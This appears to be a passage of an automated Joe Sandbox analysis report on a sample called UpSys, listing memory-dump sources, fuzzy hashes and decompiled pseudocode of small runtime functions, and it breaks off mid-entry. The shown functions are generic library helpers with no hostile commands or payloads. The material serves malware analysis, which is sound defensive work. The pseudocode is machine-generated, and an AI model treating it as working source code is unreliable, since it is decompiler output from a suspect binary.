                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 840049012-0
                                                                                                                                                                                                        • Opcode ID: aa67db7f22e3354abcb8b255564a6d065b37d7dd2d1340e24e45e88665f1bdfb
                                                                                                                                                                                                        • Instruction ID: 03d378153705a55aadad6216413374d84fad4f99dd1a003041e7fed4bcb2f25e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: aa67db7f22e3354abcb8b255564a6d065b37d7dd2d1340e24e45e88665f1bdfb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8F01FE3222408086DB99CB2AE4903BE77E0E788788F545037F39B475A9CA3DC955CF10
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140010A00 Relevance: 1.5, APIs: 1, Instructions: 38COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3524498493-0
                                                                                                                                                                                                        • Opcode ID: 97d096c996bb75aa389de916d6ae6b7e691c2e9122dd3191c4d1c09192edb22e
                                                                                                                                                                                                        • Instruction ID: f93032281a245e58ca892306758eb84970bddbbfbd775f7ff19e8627e5744c35
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 97d096c996bb75aa389de916d6ae6b7e691c2e9122dd3191c4d1c09192edb22e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E90192326187C0C5EB16CB22D5503AD6761FB58FC8F5C5046FB890BBAACB79C9A2C341
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019694 Relevance: 1.5, APIs: 1, Instructions: 37COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E00000001140019694(signed int __edi, long long* __rax, long long __rbx, long long __rcx, long long _a8, long long _a16) {
				signed long long _v24;
				void* _t19;
				long long _t33;
				long long _t35;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t44;

				_t35 = __rcx;
				_t31 = __rax;
				_a16 = __rbx;
				_a8 = __rcx;
				_t33 = __rcx;
				if (__rcx != 0) goto 0x400196d9;
				E0000000114001EAE4(__rcx != 0, __rax);
				 *((intOrPtr*)(__rax)) = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rcx, __rcx, _t38, _t39, _t40, _t44);
				goto 0x400196ff;
				if (( *(_t35 + 0x18) & 0x00000040) == 0) goto 0x400196e5;
				 *(_t35 + 0x18) =  *(_t35 + 0x18) & 0x00000000;
				goto 0x400196fd;
				E0000000114001C3EC(__edi | 0xffffffff, _t35);
				_t19 = E00000001140019608(__edi | 0xffffffff, _t31, _t33, _t33, _t38, _t39); // executed
				E0000000114001C47C(_t19, _t33);
				return _t19;
			}











                                                                                                                                                                                                        0x140019694
                                                                                                                                                                                                        0x140019694
                                                                                                                                                                                                        0x140019694
                                                                                                                                                                                                        0x140019699
                                                                                                                                                                                                        0x1400196a3
                                                                                                                                                                                                        0x1400196b3
                                                                                                                                                                                                        0x1400196b5
                                                                                                                                                                                                        0x1400196ba
                                                                                                                                                                                                        0x1400196c0
                                                                                                                                                                                                        0x1400196c6
                                                                                                                                                                                                        0x1400196c9
                                                                                                                                                                                                        0x1400196d0
                                                                                                                                                                                                        0x1400196d7
                                                                                                                                                                                                        0x1400196dd
                                                                                                                                                                                                        0x1400196df
                                                                                                                                                                                                        0x1400196e3
                                                                                                                                                                                                        0x1400196e5
                                                                                                                                                                                                        0x1400196ee
                                                                                                                                                                                                        0x1400196f8
                                                                                                                                                                                                        0x140019709

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3485708101-0
                                                                                                                                                                                                        • Opcode ID: 9e4bcd6a3c0a7bf0add7ac78942c133298dcc06836bc7fd6be47f10da679134b
                                                                                                                                                                                                        • Instruction ID: a861638bb5d23c2eb5d55c30c3e794fa5875ec878cb9c410fe22152681d799fe
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9e4bcd6a3c0a7bf0add7ac78942c133298dcc06836bc7fd6be47f10da679134b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 63F0463231124042FB06EB3BB8513EE7281AB8C3C8F284120BF564F1F6CF3AC4418604
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140012DD0 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 84%
                                                                                                                                                                                                        			E00000001140012DD0(long long __rbx, void* __rcx, long long _a8) {
				void* _t5;
				void* _t6;
				void* _t10;
				void* _t17;
				void* _t21;

				_a8 = __rbx;
				if ( *((long long*)(__rcx + 0x280)) != 0) goto 0x40032e00;
				if ( *0x400c5f0d != 0) goto 0x40032e1b;
				_t5 = E00000001140012D80(_t6, _t10, __rcx, __rcx + 0x808, 0x4009b6c0, _t17, _t21);
				if ( *0x400c5f0e != 0) goto 0x40032e4c;
				return _t5;
			}








                                                                                                                                                                                                        0x140012dd0
                                                                                                                                                                                                        0x140012de5
                                                                                                                                                                                                        0x140012df2
                                                                                                                                                                                                        0x140012e06
                                                                                                                                                                                                        0x140012e12
                                                                                                                                                                                                        0x140012e22

                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: e9b97648920df074e0ae2a3449d1b5563e573745af127874182773ae54ae1da2
                                                                                                                                                                                                        • Instruction ID: a16b47b6854557e4d7852c13c52c56e0012ea5862eddd6162cc79884aea5b0ec
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e9b97648920df074e0ae2a3449d1b5563e573745af127874182773ae54ae1da2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 21115235609A4481FB9BDB27E8453E92390BB8CBC9F488035F7464B2B5DF79C49A9301
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019D7C Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 62%
                                                                                                                                                                                                        			E00000001140019D7C(long long* __rax, long long __rbx, long long __rcx, long long _a8, long long _a16) {
				signed long long _v24;
				void* __rdi;
				signed int _t11;
				void* _t14;
				void* _t25;
				void* _t30;
				void* _t31;
				void* _t32;
				void* _t33;
				void* _t37;

				_t27 = __rcx;
				_a16 = __rbx;
				_a8 = __rcx;
				_t25 = __rcx;
				if (__rcx != 0) goto 0x40019dbf;
				E0000000114001EAE4(__rcx != 0, __rax);
				 *((intOrPtr*)(__rax)) = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				_t11 = E0000000114001EA14(__rax, __rcx, __rcx, _t30, _t32, _t33, _t37);
				goto 0x40019dd9;
				E0000000114001C3EC(_t11 | 0xffffffff, _t27);
				_t14 = E00000001140019BB8(_t25, _t25, _t30, _t31, _t32, _t33); // executed
				E0000000114001C47C(_t14, _t25);
				return _t14;
			}













                                                                                                                                                                                                        0x140019d7c
                                                                                                                                                                                                        0x140019d7c
                                                                                                                                                                                                        0x140019d81
                                                                                                                                                                                                        0x140019d8b
                                                                                                                                                                                                        0x140019d98
                                                                                                                                                                                                        0x140019d9a
                                                                                                                                                                                                        0x140019d9f
                                                                                                                                                                                                        0x140019da5
                                                                                                                                                                                                        0x140019dab
                                                                                                                                                                                                        0x140019dae
                                                                                                                                                                                                        0x140019db5
                                                                                                                                                                                                        0x140019dbd
                                                                                                                                                                                                        0x140019dbf
                                                                                                                                                                                                        0x140019dc8
                                                                                                                                                                                                        0x140019dd2
                                                                                                                                                                                                        0x140019de3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3485708101-0
                                                                                                                                                                                                        • Opcode ID: dcc03571f49cd5b80a8e16bddabaa191eb7a3299a6f904bf4c39674f94716d9a
                                                                                                                                                                                                        • Instruction ID: b4f8723e9bdb5743f373eeef3be2d1771ac793de0c17ce3fe6a5f862a2b69c46
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dcc03571f49cd5b80a8e16bddabaa191eb7a3299a6f904bf4c39674f94716d9a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 83F0A73271424142FB16AB7BB8127EE6295AB8D3D4F5886307B568F6E6CF3AC0114605
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400593C0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 86%
                                                                                                                                                                                                        			E000000011400593C0(long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* _t9;
				long long _t16;
				long long* _t19;
				void* _t26;

				_t16 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t19 = __rcx;
				if (E0000000114003F670(__rcx) == dil) goto 0x400593f1;
				if ( *__rcx == _t26) goto 0x400593f1;
				_t22 =  *__rcx;
				E000000011400535C0( *__rcx);
				E00000001140016ED8(_t16, _t22); // executed
				if (_t16 == _t26) goto 0x4005940e;
				_t9 = E00000001140001D30(_t16, _t19, _t16, __rdx); // executed
				 *_t19 = _t16;
				return _t9;
			}







                                                                                                                                                                                                        0x1400593c0
                                                                                                                                                                                                        0x1400593c0
                                                                                                                                                                                                        0x1400593c5
                                                                                                                                                                                                        0x1400593d2
                                                                                                                                                                                                        0x1400593df
                                                                                                                                                                                                        0x1400593e4
                                                                                                                                                                                                        0x1400593e6
                                                                                                                                                                                                        0x1400593ec
                                                                                                                                                                                                        0x1400593f6
                                                                                                                                                                                                        0x1400593fe
                                                                                                                                                                                                        0x140059406
                                                                                                                                                                                                        0x140059413
                                                                                                                                                                                                        0x140059423

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3524498493-0
                                                                                                                                                                                                        • Opcode ID: 3c23527668ac83a9a3b49b3bcf2c65412bf7c0965de15c614ceb8117b0632fc3
                                                                                                                                                                                                        • Instruction ID: edab821f271fba202731b1a8bef3c310777cf5d0fe8303e65b1ed22df9522618
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3c23527668ac83a9a3b49b3bcf2c65412bf7c0965de15c614ceb8117b0632fc3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AEF08931604B4181EB52DF57F5413DA6351E78CFC4F498531BB5C47BAADE39C8524700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015630 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionSendStringstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4180172206-0
                                                                                                                                                                                                        • Opcode ID: 53d9d9a06a6132964b999e590bd2343147960f7ce45007b7c2fdbe7ce734f43c
                                                                                                                                                                                                        • Instruction ID: 4968c727883c7252fda17f865703e92ea9bba810a9d5e9f584caad566c4f9486
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 53d9d9a06a6132964b999e590bd2343147960f7ce45007b7c2fdbe7ce734f43c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 00F05E36702A44C1EE16DF13D4913E863A4F39CBD8F9C0020AB4D07765EE39C6928740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015680 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E00000001140015680(void* __eax, intOrPtr* __rcx) {

				if ( *((intOrPtr*)(__rcx + 0x10)) != 0) goto 0x40031c60;
				if ( *__rcx != 0) goto 0x400156a4;
				return __eax;
			}



                                                                                                                                                                                                        0x140015690
                                                                                                                                                                                                        0x14001569c
                                                                                                                                                                                                        0x1400156a3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3524498493-0
                                                                                                                                                                                                        • Opcode ID: 9ea815b5368532323fcc1bf578082fb1d02fc0d8f762cd72de58abc83ebb7c13
                                                                                                                                                                                                        • Instruction ID: a215c4cbb62bab487beb541314b4bfdd9e0ff481a063b39ebf424cef62a8eec3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9ea815b5368532323fcc1bf578082fb1d02fc0d8f762cd72de58abc83ebb7c13
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E5E0486170210486FE1BA56394513F912549BACFC9E5C1410BF095F2926A35CC914240
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003F110 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E0000000114003F110(void* __rcx, void* __rdx) {
				signed int _t11;
				void* _t25;

				_t11 =  *(__rcx + 0x48c);
				r8d = 0x10000;
				if (_t11 == 0) goto 0x4003f12e;
				if (_t11 != r8d) goto 0x4003f14a;
				E00000001140019A28(__rdx, _t25,  *((intOrPtr*)(__rcx + 0x28))); // executed
				 *(__rcx + 0x48c) =  *(__rcx + 0x48c) & 0x00000000;
				_t9 =  *(__rcx + 0x48c) + 1; // 0x1
				 *(__rcx + 0x48c) = _t9;
				return  *((intOrPtr*)( *(__rcx + 0x48c) +  *((intOrPtr*)(__rcx + 0x480))));
			}





                                                                                                                                                                                                        0x14003f116
                                                                                                                                                                                                        0x14003f11f
                                                                                                                                                                                                        0x14003f127
                                                                                                                                                                                                        0x14003f12c
                                                                                                                                                                                                        0x14003f13e
                                                                                                                                                                                                        0x14003f143
                                                                                                                                                                                                        0x14003f15b
                                                                                                                                                                                                        0x14003f15e
                                                                                                                                                                                                        0x14003f169

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 840049012-0
                                                                                                                                                                                                        • Opcode ID: eaff6b967ea42677cdd0782c1dcc519a2c7cdd61f24055003808244374c399dc
                                                                                                                                                                                                        • Instruction ID: 5cdec82d003f5761caa9f21392d164c29bffbf8cf784205feea0de96c6dff0cd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eaff6b967ea42677cdd0782c1dcc519a2c7cdd61f24055003808244374c399dc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 46F039B661058086EB218F66C0807ED6360E30CF89F18C432EF084B364DA39C49ACB24
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140012E90 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E00000001140012E90(intOrPtr* __rcx) {

				if ( *__rcx != 0) goto 0x40032180;
				 *((intOrPtr*)(__rcx + 0x10)) = 0;
				return 0;
			}



                                                                                                                                                                                                        0x140012e9f
                                                                                                                                                                                                        0x140012ea7
                                                                                                                                                                                                        0x140012eaf

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3524498493-0
                                                                                                                                                                                                        • Opcode ID: 9436def84915726b17244ba224cb3aa1d2426b11c732b48ba8552e82c6d262f9
                                                                                                                                                                                                        • Instruction ID: b050ec81b7c9556e8aaef996645daa2830ffd2faddd0d6bd25b3a3e3630b9d97
